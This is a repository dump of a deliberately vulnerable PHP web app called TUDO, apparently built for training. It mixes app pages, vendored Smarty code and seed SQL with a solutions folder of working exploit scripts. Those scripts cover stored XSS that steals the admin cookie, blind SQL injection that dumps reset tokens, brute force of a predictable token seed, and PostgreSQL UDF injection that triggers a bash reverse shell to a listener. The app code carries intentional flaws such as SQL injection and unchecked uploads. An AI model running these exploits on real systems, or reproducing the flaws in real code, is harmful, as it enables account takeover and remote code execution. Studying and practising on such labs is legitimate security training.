'; 24 | } 25 | 26 | if ($validfile) { 27 | $path = basename($_FILES['image']['name']); 28 | $title = htmlentities($_POST['title']); 29 | 30 | move_uploaded_file($_FILES['image']['tmp_name'], '../images/'.$path); 31 | 32 | include('../includes/db_connect.php'); 33 | $ret = pg_prepare($db, 34 | "createimage_query", "insert into motd_images (path, title) values ($1, $2)"); 35 | $ret = pg_execute($db, "createimage_query", array("images/$path", $title)); 36 | 37 | echo 'Success'; 38 | } 39 | } 40 | } 41 | 42 | header('location:/admin/update_motd.php'); 43 | die(); 44 | ?> -------------------------------------------------------------------------------- /app/forgotusername.php: -------------------------------------------------------------------------------- 1 | 21 | 22 | 23 | 24 | TUDO/Forgot Username 25 | 26 | 27 | 28 | 29 |
30 |
31 |

Forgot Username:

32 |

Forgetting your username can be very frustrating. Unfortunately, we can't just list all the accounts out for everyone 33 | to see. What we can do is let you look up your username guesses and we will check if they are in the system. Hopefully it 34 | won't take you too long :(

35 |

36 | 37 | User doesn't exist.";} 38 | else if (isset($success)){echo "User exists!";} ?> 39 |

40 | 41 |
42 |
43 | 44 | -------------------------------------------------------------------------------- /docker/init.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE users ( 2 | uid SERIAL PRIMARY KEY NOT NULL, 3 | username TEXT NOT NULL, 4 | password TEXT NOT NULL, 5 | description TEXT 6 | ); 7 | 8 | CREATE TABLE tokens ( 9 | tid SERIAL PRIMARY KEY NOT NULL, 10 | uid INT NOT NULL, 11 | token TEXT NOT NULL, 12 | FOREIGN KEY (uid) REFERENCES users (uid) 13 | ); 14 | 15 | CREATE TABLE class_posts ( 16 | cid SERIAL PRIMARY KEY NOT NULL, 17 | code TEXT NOT NULL, 18 | name TEXT NOT NULL, 19 | professor TEXT NOT NULL, 20 | ects DECIMAL NOT NULL, 21 | description TEXT NOT NULL 22 | ); 23 | 24 | CREATE TABLE motd_images ( 25 | iid SERIAL PRIMARY KEY NOT NULL, 26 | path TEXT NOT NULL, 27 | title TEXT NOT NULL 28 | ); 29 | 30 | INSERT INTO users 31 | (username, password, description) 32 | VALUES 33 | ('admin', '8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918', 'BOSS'), 34 | ('user1', '0a041b9462caa4a31bac3567e0b6e6fd9100787db2ab433d96f6d178cabfce90', 'Head of Security'), 35 | ('user2', '6025d18fe48abd45168528f18a82e265dd98d421a7084aa09f61b341703901a3', 'Head of Management'); 36 | 37 | INSERT INTO class_posts 38 | (code, name, professor, ects, description) 39 | VALUES 40 | ('187.B12', 'Denkweisen der Informatik', 'Purgathofer, Peter', 5.5, 'Very easy, but can be a bit frustrating'), 41 | ('186.866', 'Algorithmen und Datenstrukturen', 'Kronegger, Martin', 8.0, 'Pretty hard, but very interesting'), 42 | ('184.735', 'Einführung in die Künstliche Intelligenz', 'Eiter, Thomas', 3.0, 'Very lucky if you pass. Dont underestimate.'), 43 | ('188.982', 'Privacy Enhancing Technologies ', 'Weippl, Edgar', 3.0, 'Very fun, and easy to get a perfect grade. Takes a lot of time.'); 44 | 45 | INSERT INTO motd_images 46 | (path, title) 47 | VALUES 48 | ('images/motd_1.png','TU Library'), 49 | ('images/motd_2.png','TU Hauptgebaude'), 50 | ('images/motd_3.png','TU Freihaus'); 51 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.smarty_include_php.php: -------------------------------------------------------------------------------- 1 | $params['smarty_file']); 24 | require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php'); 25 | smarty_core_get_php_resource($_params, $smarty); 26 | $_smarty_resource_type = $_params['resource_type']; 27 | $_smarty_php_resource = $_params['php_resource']; 28 | 29 | if (!empty($params['smarty_assign'])) { 30 | ob_start(); 31 | if ($_smarty_resource_type == 'file') { 32 | $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']); 33 | } else { 34 | $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']); 35 | } 36 | $smarty->assign($params['smarty_assign'], ob_get_contents()); 37 | ob_end_clean(); 38 | } else { 39 | if ($_smarty_resource_type == 'file') { 40 | $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']); 41 | } else { 42 | $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']); 43 | } 44 | } 45 | } 46 | 47 | 48 | /* vim: set expandtab: */ 49 | 50 | ?> 51 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.display_debug_console.php: -------------------------------------------------------------------------------- 1 | 12 | * Name: display_debug_console
13 | * Purpose: display the javascript debug console window 14 | * @param array Format: null 15 | * @param Smarty 16 | */ 17 | function smarty_core_display_debug_console($params, &$smarty) 18 | { 19 | // we must force compile the debug template in case the environment 20 | // changed between separate applications. 21 | 22 | if(empty($smarty->debug_tpl)) { 23 | // set path to debug template from SMARTY_DIR 24 | $smarty->debug_tpl = SMARTY_DIR . 'debug.tpl'; 25 | if($smarty->security && is_file($smarty->debug_tpl)) { 26 | $smarty->secure_dir[] = realpath($smarty->debug_tpl); 27 | } 28 | $smarty->debug_tpl = 'file:' . SMARTY_DIR . 'debug.tpl'; 29 | } 30 | 31 | $_ldelim_orig = $smarty->left_delimiter; 32 | $_rdelim_orig = $smarty->right_delimiter; 33 | 34 | $smarty->left_delimiter = '{'; 35 | $smarty->right_delimiter = '}'; 36 | 37 | $_compile_id_orig = $smarty->_compile_id; 38 | $smarty->_compile_id = null; 39 | 40 | $_compile_path = $smarty->_get_compile_path($smarty->debug_tpl); 41 | if ($smarty->_compile_resource($smarty->debug_tpl, $_compile_path)) 42 | { 43 | ob_start(); 44 | $smarty->_include($_compile_path); 45 | $_results = ob_get_contents(); 46 | ob_end_clean(); 47 | } else { 48 | $_results = ''; 49 | } 50 | 51 | $smarty->_compile_id = $_compile_id_orig; 52 | 53 | $smarty->left_delimiter = $_ldelim_orig; 54 | $smarty->right_delimiter = $_rdelim_orig; 55 | 56 | return $_results; 57 | } 58 | 59 | /* vim: set expandtab: */ 60 | 61 | ?> 62 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.is_secure.php: -------------------------------------------------------------------------------- 1 | security || $smarty->security_settings['INCLUDE_ANY']) { 21 | return true; 22 | } 23 | 24 | if ($params['resource_type'] == 'file') { 25 | $_rp = realpath($params['resource_name']); 26 | if (isset($params['resource_base_path'])) { 27 | foreach ((array)$params['resource_base_path'] as $curr_dir) { 28 | if ( ($_cd = realpath($curr_dir)) !== false && 29 | strncmp($_rp, $_cd, strlen($_cd)) == 0 && 30 | substr($_rp, strlen($_cd), 1) == DIRECTORY_SEPARATOR ) { 31 | return true; 32 | } 33 | } 34 | } 35 | if (!empty($smarty->secure_dir)) { 36 | foreach ((array)$smarty->secure_dir as $curr_dir) { 37 | if ( ($_cd = realpath($curr_dir)) !== false) { 38 | if($_cd == $_rp) { 39 | return true; 40 | } elseif (strncmp($_rp, $_cd, strlen($_cd)) == 0 && 41 | substr($_rp, strlen($_cd), 1) == DIRECTORY_SEPARATOR) { 42 | return true; 43 | } 44 | } 45 | } 46 | } 47 | } else { 48 | // resource is not on local file system 49 | return call_user_func_array( 50 | $smarty->_plugins['resource'][$params['resource_type']][0][2], 51 | array($params['resource_name'], &$smarty)); 52 | } 53 | 54 | return false; 55 | } 56 | 57 | /* vim: set expandtab: */ 58 | 59 | ?> 60 | -------------------------------------------------------------------------------- /solutions/privesc/xss.py: -------------------------------------------------------------------------------- 1 | # TUDO Privilege Escalation #1 - "xss" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import socket 8 | import base64 9 | 10 | # Parse arguments 11 | parser = argparse.ArgumentParser(description="Injects an XSS payload into user's description to steal admin cookie") 12 | parser.add_argument("target",help="Target URL") 13 | parser.add_argument("user",help="User") 14 | parser.add_argument("password",help="Password") 15 | parser.add_argument("--lhost",help="Host to listen on",default="172.17.0.1") 16 | parser.add_argument("--lport",help="Port to listen on",default="8001") 17 | args = parser.parse_args() 18 | 19 | # Sanitize target URL 20 | if args.target[-1] == "/": 21 | args.target = args.target[:-1] 22 | 23 | # Log in as user 24 | s = requests.Session() 25 | r = s.post( 26 | f"{args.target}/login.php", 27 | data={"username":args.user,"password":args.password}, 28 | allow_redirects=False 29 | ) 30 | assert r.status_code == 302 31 | print(f"[*] Logged in as {args.user}") 32 | 33 | # Update description to XSS payload 34 | b64 = base64.b64encode(f"fetch('//{args.lhost}:{args.lport}/'+btoa(document.cookie))".encode()).decode() 35 | payload = f"" 36 | r = s.post( 37 | f"{args.target}/profile.php", 38 | data={"description":payload} 39 | ) 40 | assert "Success" in r.text 41 | print(f"[*] Set {args.user}'s description to XSS payload") 42 | 43 | # Listen for HTTP request 44 | s = socket.socket() 45 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 46 | s.bind((args.lhost,int(args.lport))) 47 | s.listen() 48 | print(f"[*] Listening on {args.lhost}:{args.lport}...") 49 | print("[*] Waiting for admin to visit homepage...") 50 | 51 | # Extract admin cookie from GET request 52 | (sock_c, ip_c) = s.accept() 53 | get_request = sock_c.recv(4096) 54 | admin_cookie = base64.b64decode(get_request.split(b" ")[1][1:]).decode() 55 | print(f"[+] Got admin cookie: {admin_cookie}") 56 | 57 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.date_format.php: -------------------------------------------------------------------------------- 1 | _get_plugin_filepath('shared', 'make_timestamp'); 12 | /** 13 | * Smarty date_format modifier plugin 14 | * 15 | * Type: modifier
16 | * Name: date_format
17 | * Purpose: format datestamps via strftime
18 | * Input:
19 | * - string: input date string 20 | * - format: strftime format for output 21 | * - default_date: default date if $string is empty 22 | * @link http://smarty.php.net/manual/en/language.modifier.date.format.php 23 | * date_format (Smarty online manual) 24 | * @author Monte Ohrt 25 | * @param string 26 | * @param string 27 | * @param string 28 | * @return string|void 29 | * @uses smarty_make_timestamp() 30 | */ 31 | function smarty_modifier_date_format($string, $format = '%b %e, %Y', $default_date = '') 32 | { 33 | if ($string != '') { 34 | $timestamp = smarty_make_timestamp($string); 35 | } elseif ($default_date != '') { 36 | $timestamp = smarty_make_timestamp($default_date); 37 | } else { 38 | return; 39 | } 40 | if (DIRECTORY_SEPARATOR == '\\') { 41 | $_win_from = array('%D', '%h', '%n', '%r', '%R', '%t', '%T'); 42 | $_win_to = array('%m/%d/%y', '%b', "\n", '%I:%M:%S %p', '%H:%M', "\t", '%H:%M:%S'); 43 | if (strpos($format, '%e') !== false) { 44 | $_win_from[] = '%e'; 45 | $_win_to[] = sprintf('%\' 2d', date('j', $timestamp)); 46 | } 47 | if (strpos($format, '%l') !== false) { 48 | $_win_from[] = '%l'; 49 | $_win_to[] = sprintf('%\' 2d', date('h', $timestamp)); 50 | } 51 | $format = str_replace($_win_from, $_win_to, $format); 52 | } 53 | return strftime($format, $timestamp); 54 | } 55 | 56 | /* vim: set expandtab: */ 57 | 58 | ?> 59 | -------------------------------------------------------------------------------- /app/login.php: -------------------------------------------------------------------------------- 1 | 30 | 31 | 32 | 33 | TUDO/Log In 34 | 35 | 36 | 37 | 38 |
39 |
40 |

Log In:

41 |

Currently we are in the Alpha testing phase, thus you may log in if you recieved credentials from 42 | the admin. Otherwise you can visit the few pages linked at the bottom :) 43 |

44 |

45 |

46 | 47 | Login Failed";} ?> 48 |

49 | 50 |
51 |
52 | 53 | -------------------------------------------------------------------------------- /app/vendor/composer/autoload_real.php: -------------------------------------------------------------------------------- 1 | = 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); 32 | if ($useStaticLoader) { 33 | require __DIR__ . '/autoload_static.php'; 34 | 35 | call_user_func(\Composer\Autoload\ComposerStaticInitcb10d081ed2a87e441496d59e96ca6f9::getInitializer($loader)); 36 | } else { 37 | $map = require __DIR__ . '/autoload_namespaces.php'; 38 | foreach ($map as $namespace => $path) { 39 | $loader->set($namespace, $path); 40 | } 41 | 42 | $map = require __DIR__ . '/autoload_psr4.php'; 43 | foreach ($map as $namespace => $path) { 44 | $loader->setPsr4($namespace, $path); 45 | } 46 | 47 | $classMap = require __DIR__ . '/autoload_classmap.php'; 48 | if ($classMap) { 49 | $loader->addClassMap($classMap); 50 | } 51 | } 52 | 53 | $loader->register(true); 54 | 55 | return $loader; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/demo/templates/index.tpl: -------------------------------------------------------------------------------- 1 | {config_load file=test.conf section="setup"} 2 | {include file="header.tpl" title=foo} 3 | 4 |
 5 | 
 6 | {* bold and title are read from the config file *}
 7 | {if #bold#}{/if}
 8 | {* capitalize the first letters of each word of the title *}
 9 | Title: {#title#|capitalize}
10 | {if #bold#}{/if}
11 | 
12 | The current date and time is {$smarty.now|date_format:"%Y-%m-%d %H:%M:%S"}
13 | 
14 | The value of global assigned variable $SCRIPT_NAME is {$SCRIPT_NAME}
15 | 
16 | Example of accessing server environment variable SERVER_NAME: {$smarty.server.SERVER_NAME}
17 | 
18 | The value of {ldelim}$Name{rdelim} is {$Name}
19 | 
20 | variable modifier example of {ldelim}$Name|upper{rdelim}
21 | 
22 | {$Name|upper}
23 | 
24 | 
25 | An example of a section loop:
26 | 
27 | {section name=outer loop=$FirstName}
28 | {if $smarty.section.outer.index is odd by 2}
29 | 	{$smarty.section.outer.rownum} . {$FirstName[outer]} {$LastName[outer]}
30 | {else}
31 | 	{$smarty.section.outer.rownum} * {$FirstName[outer]} {$LastName[outer]}
32 | {/if}
33 | {sectionelse}
34 | 	none
35 | {/section}
36 | 
37 | An example of section looped key values:
38 | 
39 | {section name=sec1 loop=$contacts}
40 | 	phone: {$contacts[sec1].phone}
41 | fax: {$contacts[sec1].fax}
42 | cell: {$contacts[sec1].cell}
43 | {/section} 44 |

45 | 46 | testing strip tags 47 | {strip} 48 | 49 | 50 | 55 | 56 |
51 | 52 | This is a test 53 | 54 |
57 | {/strip} 58 | 59 |

60 | 61 | This is an example of the html_select_date function: 62 | 63 |
64 | {html_select_date start_year=1998 end_year=2010} 65 |
66 | 67 | This is an example of the html_select_time function: 68 | 69 |
70 | {html_select_time use_24_hours=false} 71 |
72 | 73 | This is an example of the html_options function: 74 | 75 |
76 | 79 |
80 | 81 | {include file="footer.tpl"} 82 | -------------------------------------------------------------------------------- /solutions/auth/insecureSeed.py: -------------------------------------------------------------------------------- 1 | # TUDO Authentication Bypass #2 - "insecureSeed" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import sys 8 | import subprocess 9 | import time 10 | 11 | # Parse arguments 12 | parser = argparse.ArgumentParser(description="Resets targeted user's password by spraying \ 13 | possible password reset tokens based on insecure random seed") 14 | parser.add_argument("target",help="Target URL") 15 | parser.add_argument("user",help="Target user") 16 | parser.add_argument("password",help="New password") 17 | parser.add_argument("-s", "--seconds", help="How many seconds to generate possible tokens for", default="3") 18 | args = parser.parse_args() 19 | 20 | # Sanitize target URL 21 | if args.target[-1] == "/": 22 | args.target = args.target[:-1] 23 | 24 | # Send "forgot password" request for victim user, and keep track of possible timestamps (seeds) 25 | ts_lower = int(time.time()*1000) 26 | r = requests.post( 27 | f"{args.target}/forgotpassword.php", 28 | data={"username":args.user} 29 | ) 30 | ts_upper = int(time.time()*1000) 31 | assert "Email sent!" in r.text 32 | print(f"[*] Requested password reset for {args.user}") 33 | 34 | # Generate possible tokens between ts_lower and ts_upper 35 | try: 36 | tokens = subprocess.check_output(["php", "auth/generateTokens.php", str(ts_lower), str(ts_upper)]) 37 | tokens = tokens[:-1].decode().split("\n") 38 | print(f"[*] Generated {ts_upper - ts_lower} possible tokens between {ts_lower} and {ts_upper}") 39 | except Exception as e: 40 | print(f"[-] Failed to generate tokens: {e}") 41 | exit(1) 42 | 43 | # Spray tokens to reset victim's password 44 | print("[*] Trying token: ", end='') 45 | for token in tokens: 46 | print(token,end='') 47 | sys.stdout.flush() 48 | 49 | r = requests.post( 50 | f"{args.target}/resetpassword.php", 51 | data={"token":token,"password1":args.password,"password2":args.password} 52 | ) 53 | 54 | if "Password changed!" in r.text: 55 | print(f"\n[+] Set {args.user}'s password to {args.password}") 56 | exit(0) 57 | 58 | sys.stdout.write("\b"*32) -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.counter.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: counter
14 | * Purpose: print out a counter value 15 | * @author Monte Ohrt 16 | * @link http://smarty.php.net/manual/en/language.function.counter.php {counter} 17 | * (Smarty online manual) 18 | * @param array parameters 19 | * @param Smarty 20 | * @return string|null 21 | */ 22 | function smarty_function_counter($params, &$smarty) 23 | { 24 | static $counters = array(); 25 | 26 | $name = (isset($params['name'])) ? $params['name'] : 'default'; 27 | if (!isset($counters[$name])) { 28 | $counters[$name] = array( 29 | 'start'=>1, 30 | 'skip'=>1, 31 | 'direction'=>'up', 32 | 'count'=>1 33 | ); 34 | } 35 | $counter =& $counters[$name]; 36 | 37 | if (isset($params['start'])) { 38 | $counter['start'] = $counter['count'] = (int)$params['start']; 39 | } 40 | 41 | if (!empty($params['assign'])) { 42 | $counter['assign'] = $params['assign']; 43 | } 44 | 45 | if (isset($counter['assign'])) { 46 | $smarty->assign($counter['assign'], $counter['count']); 47 | } 48 | 49 | if (isset($params['print'])) { 50 | $print = (bool)$params['print']; 51 | } else { 52 | $print = empty($counter['assign']); 53 | } 54 | 55 | if ($print) { 56 | $retval = $counter['count']; 57 | } else { 58 | $retval = null; 59 | } 60 | 61 | if (isset($params['skip'])) { 62 | $counter['skip'] = $params['skip']; 63 | } 64 | 65 | if (isset($params['direction'])) { 66 | $counter['direction'] = $params['direction']; 67 | } 68 | 69 | if ($counter['direction'] == "down") 70 | $counter['count'] -= $counter['skip']; 71 | else 72 | $counter['count'] += $counter['skip']; 73 | 74 | return $retval; 75 | 76 | } 77 | 78 | /* vim: set expandtab: */ 79 | 80 | ?> 81 | -------------------------------------------------------------------------------- /solutions/unintended/udf.py: -------------------------------------------------------------------------------- 1 | # TUDO Unauthenticated RCE as postgres #1 - "UDF" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import base64 8 | import random 9 | import subprocess 10 | import time 11 | 12 | # Parse arguments 13 | parser = argparse.ArgumentParser(description="Exploits SQLi in forgotusername.php to get RCE as postgres") 14 | parser.add_argument("target",help="Target URL") 15 | parser.add_argument("--lhost",help="Host to listen on",default="172.17.0.1") 16 | parser.add_argument("--lport",help="Port to listen on",default="9999") 17 | args = parser.parse_args() 18 | 19 | # Sanitize target URL 20 | if args.target[-1] == "/": 21 | args.target = args.target[:-1] 22 | 23 | # Upload UDF via Large Objects (2048-byte chunks) 24 | def sqli(query): 25 | requests.post( 26 | f"{args.target}/forgotusername.php", 27 | data={"username":f"';{query};--"} 28 | ) 29 | 30 | loid = random.randint(0, 99999) 31 | sqli(f"SELECT lo_create({loid})") 32 | print(f"[*] Created large object with LOID = {loid}") 33 | 34 | with open("unintended/udf.so","rb") as f: 35 | udf_so = f.read() 36 | 37 | pageno = 0 38 | i = 0 39 | j = 0 40 | while j < len(udf_so): 41 | i = j 42 | j = j + min(2048, len(udf_so) - i) 43 | b64_chunk = base64.b64encode(udf_so[i:j]).decode() 44 | sqli(f"INSERT INTO pg_largeobject (loid, pageno, data) VALUES ({loid}, {pageno}, decode('{b64_chunk}', 'base64'))") 45 | print(f"[*] Inserted chunk #{pageno} into large object") 46 | pageno += 1 47 | 48 | udf_filename = f"/tmp/udf_{loid}.so" 49 | sqli(f"SELECT lo_export({loid}, '{udf_filename}')") 50 | print(f"[*] Wrote UDF to file ({udf_filename})") 51 | 52 | sqli(f"CREATE FUNCTION sys (cstring) RETURNS int AS '{udf_filename}', 'pg_exec' LANGUAGE C STRICT") 53 | print(f"[*] Created UDF \"sys\" from file") 54 | 55 | # Start listener 56 | print("[*] Starting listener...") 57 | subprocess.Popen(["nc","-nvlp", f"{args.lport}"]) 58 | time.sleep(1) 59 | 60 | # Execute reverse shell 61 | print(f"[*] Triggering reverse shell...") 62 | sqli(f"SELECT sys('echo \"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1\" | bash')") 63 | 64 | # Keep shell open 65 | while True: 66 | pass -------------------------------------------------------------------------------- /app/admin/update_motd.php: -------------------------------------------------------------------------------- 1 | 22 | 23 | 24 | 25 | TUDO/Update MoTD 26 | 27 | 28 | 29 | 37 |
38 |
39 |

Update MoTD:

40 | Set a message that will be visible for all users when they log in.

41 |

42 | '.$success.'';} 43 | else if (isset($error)){echo ''.$error.'';}?> 44 |
45 |
46 |
47 |

Upload Images:

48 | These images will display under the message of the day.

49 |

50 | 51 | 52 |
53 |
54 | 55 | -------------------------------------------------------------------------------- /app/profile.php: -------------------------------------------------------------------------------- 1 | 22 | 23 | 24 | 25 | TUDO/My Profile 26 | 27 | 28 | 29 | 30 |
31 | 37 |

My Profile:

38 |
39 | 40 |

41 | 42 |

43 | 44 |

45 | 46 | Error';} 47 | else if (isset($success)) {echo 'Success';} ?> 48 |
49 |
50 | 51 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.assemble_plugin_filepath.php: -------------------------------------------------------------------------------- 1 | _filepaths_cache[$_plugin_filename])) { 19 | return $smarty->_filepaths_cache[$_plugin_filename]; 20 | } 21 | $_return = false; 22 | 23 | foreach ((array)$smarty->plugins_dir as $_plugin_dir) { 24 | 25 | $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename; 26 | 27 | // see if path is relative 28 | if (!preg_match("/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/", $_plugin_dir)) { 29 | $_relative_paths[] = $_plugin_dir; 30 | // relative path, see if it is in the SMARTY_DIR 31 | if (@is_readable(SMARTY_DIR . $_plugin_filepath)) { 32 | $_return = SMARTY_DIR . $_plugin_filepath; 33 | break; 34 | } 35 | } 36 | // try relative to cwd (or absolute) 37 | if (@is_readable($_plugin_filepath)) { 38 | $_return = $_plugin_filepath; 39 | break; 40 | } 41 | } 42 | 43 | if($_return === false) { 44 | // still not found, try PHP include_path 45 | if(isset($_relative_paths)) { 46 | foreach ((array)$_relative_paths as $_plugin_dir) { 47 | 48 | $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename; 49 | 50 | $_params = array('file_path' => $_plugin_filepath); 51 | require_once(SMARTY_CORE_DIR . 'core.get_include_path.php'); 52 | if(smarty_core_get_include_path($_params, $smarty)) { 53 | $_return = $_params['new_file_path']; 54 | break; 55 | } 56 | } 57 | } 58 | } 59 | $smarty->_filepaths_cache[$_plugin_filename] = $_return; 60 | return $_return; 61 | } 62 | 63 | /* vim: set expandtab: */ 64 | 65 | ?> 66 | -------------------------------------------------------------------------------- /app/forgotpassword.php: -------------------------------------------------------------------------------- 1 | 33 | 34 | 35 | 36 | TUDO/Forgot Password 37 | 38 | 39 | 40 | 41 |
42 |
43 |

Forgot Password:

44 |

Please enter your username, and we will create a reset token that you can use to change your password. It will 45 | be sent to your email. Please check your spam just in case

46 |

47 | 48 | User doesn't exist";} 49 | else if (isset($success)){echo "Email sent!";} ?> 50 |

51 | 52 |
53 |
54 | 55 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.load_resource_plugin.php: -------------------------------------------------------------------------------- 1 | _plugins['resource'][$params['type']]; 26 | if (isset($_plugin)) { 27 | if (!$_plugin[1] && count($_plugin[0])) { 28 | $_plugin[1] = true; 29 | foreach ($_plugin[0] as $_plugin_func) { 30 | if (!is_callable($_plugin_func)) { 31 | $_plugin[1] = false; 32 | break; 33 | } 34 | } 35 | } 36 | 37 | if (!$_plugin[1]) { 38 | $smarty->_trigger_fatal_error("[plugin] resource '" . $params['type'] . "' is not implemented", null, null, __FILE__, __LINE__); 39 | } 40 | 41 | return; 42 | } 43 | 44 | $_plugin_file = $smarty->_get_plugin_filepath('resource', $params['type']); 45 | $_found = ($_plugin_file != false); 46 | 47 | if ($_found) { /* 48 | * If the plugin file is found, it -must- provide the properly named 49 | * plugin functions. 50 | */ 51 | include_once($_plugin_file); 52 | 53 | /* 54 | * Locate functions that we require the plugin to provide. 55 | */ 56 | $_resource_ops = array('source', 'timestamp', 'secure', 'trusted'); 57 | $_resource_funcs = array(); 58 | foreach ($_resource_ops as $_op) { 59 | $_plugin_func = 'smarty_resource_' . $params['type'] . '_' . $_op; 60 | if (!function_exists($_plugin_func)) { 61 | $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", null, null, __FILE__, __LINE__); 62 | return; 63 | } else { 64 | $_resource_funcs[] = $_plugin_func; 65 | } 66 | } 67 | 68 | $smarty->_plugins['resource'][$params['type']] = array($_resource_funcs, true); 69 | } 70 | } 71 | 72 | /* vim: set expandtab: */ 73 | 74 | ?> 75 | -------------------------------------------------------------------------------- /solutions/auth/sqli.py: -------------------------------------------------------------------------------- 1 | # TUDO Authentication Bypass #1 - "sqli" 2 | # William Moody 3 | # December 21, 2025 4 | 5 | import requests 6 | import argparse 7 | import sys 8 | 9 | # Parse arguments 10 | parser = argparse.ArgumentParser(description="Resets targeted user's password by dumping \ 11 | password reset token through an SQLi in /forgotusername.php") 12 | parser.add_argument("target",help="Target URL") 13 | parser.add_argument("user",help="Target user") 14 | parser.add_argument("password",help="New password") 15 | args = parser.parse_args() 16 | 17 | # Sanitize target URL 18 | if args.target[-1] == "/": 19 | args.target = args.target[:-1] 20 | 21 | # Send "forgot password" request for victim user 22 | r = requests.post( 23 | f"{args.target}/forgotpassword.php", 24 | data={"username":args.user} 25 | ) 26 | assert "Email sent!" in r.text 27 | print(f"[*] Requested password reset for {args.user}") 28 | 29 | # Define blind SQLi oracle function 30 | def oracle(query): 31 | r = requests.post( 32 | f"{args.target}/forgotusername.php", 33 | data={"username":f"{query};--"} 34 | ) 35 | return "User exists!" in r.text 36 | 37 | # Find victim user's UID 38 | uid = 0 39 | while True: 40 | if oracle(f"{args.user}' and uid={uid}"): 41 | print(f"[*] Found {args.user}'s UID: {uid}") 42 | break 43 | uid += 1 44 | 45 | # Dump password reset token for victim user 46 | print("[*] Dumping password reset token: ", end='') 47 | token = "" 48 | for i in range(32): 49 | low = 48 # ASCII code for '0' 50 | high = 122 # ASCII code for 'z' 51 | mid = 0 52 | 53 | while low <= high: 54 | mid = (high + low) // 2 55 | 56 | if oracle(f"{args.user}' and (select ascii(substring(token,{i+1},1)) from "+\ 57 | f"tokens where uid={uid} order by tid limit 1)>'{mid}'"): 58 | low = mid + 1 59 | 60 | elif oracle(f"{args.user}' and (select ascii(substring(token,{i+1},1)) from "+\ 61 | f"tokens where uid={uid} order by tid limit 1)<'{mid}'"): 62 | high = mid - 1 63 | 64 | else: 65 | token += chr(mid) 66 | print(chr(mid),end='') 67 | sys.stdout.flush() 68 | break 69 | print() 70 | 71 | # Reset victim's password 72 | r = requests.post( 73 | f"{args.target}/resetpassword.php", 74 | data={"token":token,"password1":args.password,"password2":args.password} 75 | ) 76 | assert "Password changed!" in r.text 77 | print(f"[+] Set {args.user}'s password to {args.password}") -------------------------------------------------------------------------------- /app/vendor/composer/installed.json: -------------------------------------------------------------------------------- 1 | { 2 | "packages": [ 3 | { 4 | "name": "smarty/smarty", 5 | "version": "v2.6.31", 6 | "version_normalized": "2.6.31.0", 7 | "source": { 8 | "type": "git", 9 | "url": "https://github.com/smarty-php/smarty.git", 10 | "reference": "4ab9757b492f08a38f68123a6e7c1df7110bbc49" 11 | }, 12 | "dist": { 13 | "type": "zip", 14 | "url": "https://api.github.com/repos/smarty-php/smarty/zipball/4ab9757b492f08a38f68123a6e7c1df7110bbc49", 15 | "reference": "4ab9757b492f08a38f68123a6e7c1df7110bbc49", 16 | "shasum": "" 17 | }, 18 | "require": { 19 | "php": ">=5.2" 20 | }, 21 | "time": "2017-11-03T06:39:13+00:00", 22 | "type": "library", 23 | "extra": { 24 | "branch-alias": { 25 | "dev-master": "2.6.x-dev" 26 | } 27 | }, 28 | "installation-source": "dist", 29 | "autoload": { 30 | "classmap": [ 31 | "libs/Smarty.class.php", 32 | "libs/Smarty_Compiler.class.php", 33 | "libs/Config_File.class.php" 34 | ] 35 | }, 36 | "notification-url": "https://packagist.org/downloads/", 37 | "license": [ 38 | "LGPL-3.0" 39 | ], 40 | "authors": [ 41 | { 42 | "name": "Monte Ohrt", 43 | "email": "monte@ohrt.com" 44 | }, 45 | { 46 | "name": "Uwe Tews", 47 | "email": "uwe.tews@googlemail.com" 48 | } 49 | ], 50 | "description": "Smarty - the compiling PHP template engine", 51 | "homepage": "http://www.smarty.net", 52 | "keywords": [ 53 | "templating" 54 | ], 55 | "support": { 56 | "forum": "http://www.smarty.net/forums/", 57 | "irc": "irc://irc.freenode.org/smarty", 58 | "issues": "http://code.google.com/p/smarty-php/issues/list", 59 | "source": "https://github.com/smarty-php/smarty/tree/Smarty2" 60 | }, 61 | "install-path": "../smarty/smarty" 62 | } 63 | ], 64 | "dev": true, 65 | "dev-package-names": [] 66 | } 67 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.rm_auto.php: -------------------------------------------------------------------------------- 1 | $params['auto_base'], 28 | 'level' => 0, 29 | 'exp_time' => $params['exp_time'] 30 | ); 31 | require_once(SMARTY_CORE_DIR . 'core.rmdir.php'); 32 | $_res = smarty_core_rmdir($_params, $smarty); 33 | } else { 34 | $_tname = $smarty->_get_auto_filename($params['auto_base'], $params['auto_source'], $params['auto_id']); 35 | 36 | if(isset($params['auto_source'])) { 37 | if (isset($params['extensions'])) { 38 | $_res = false; 39 | foreach ((array)$params['extensions'] as $_extension) 40 | $_res |= $smarty->_unlink($_tname.$_extension, $params['exp_time']); 41 | } else 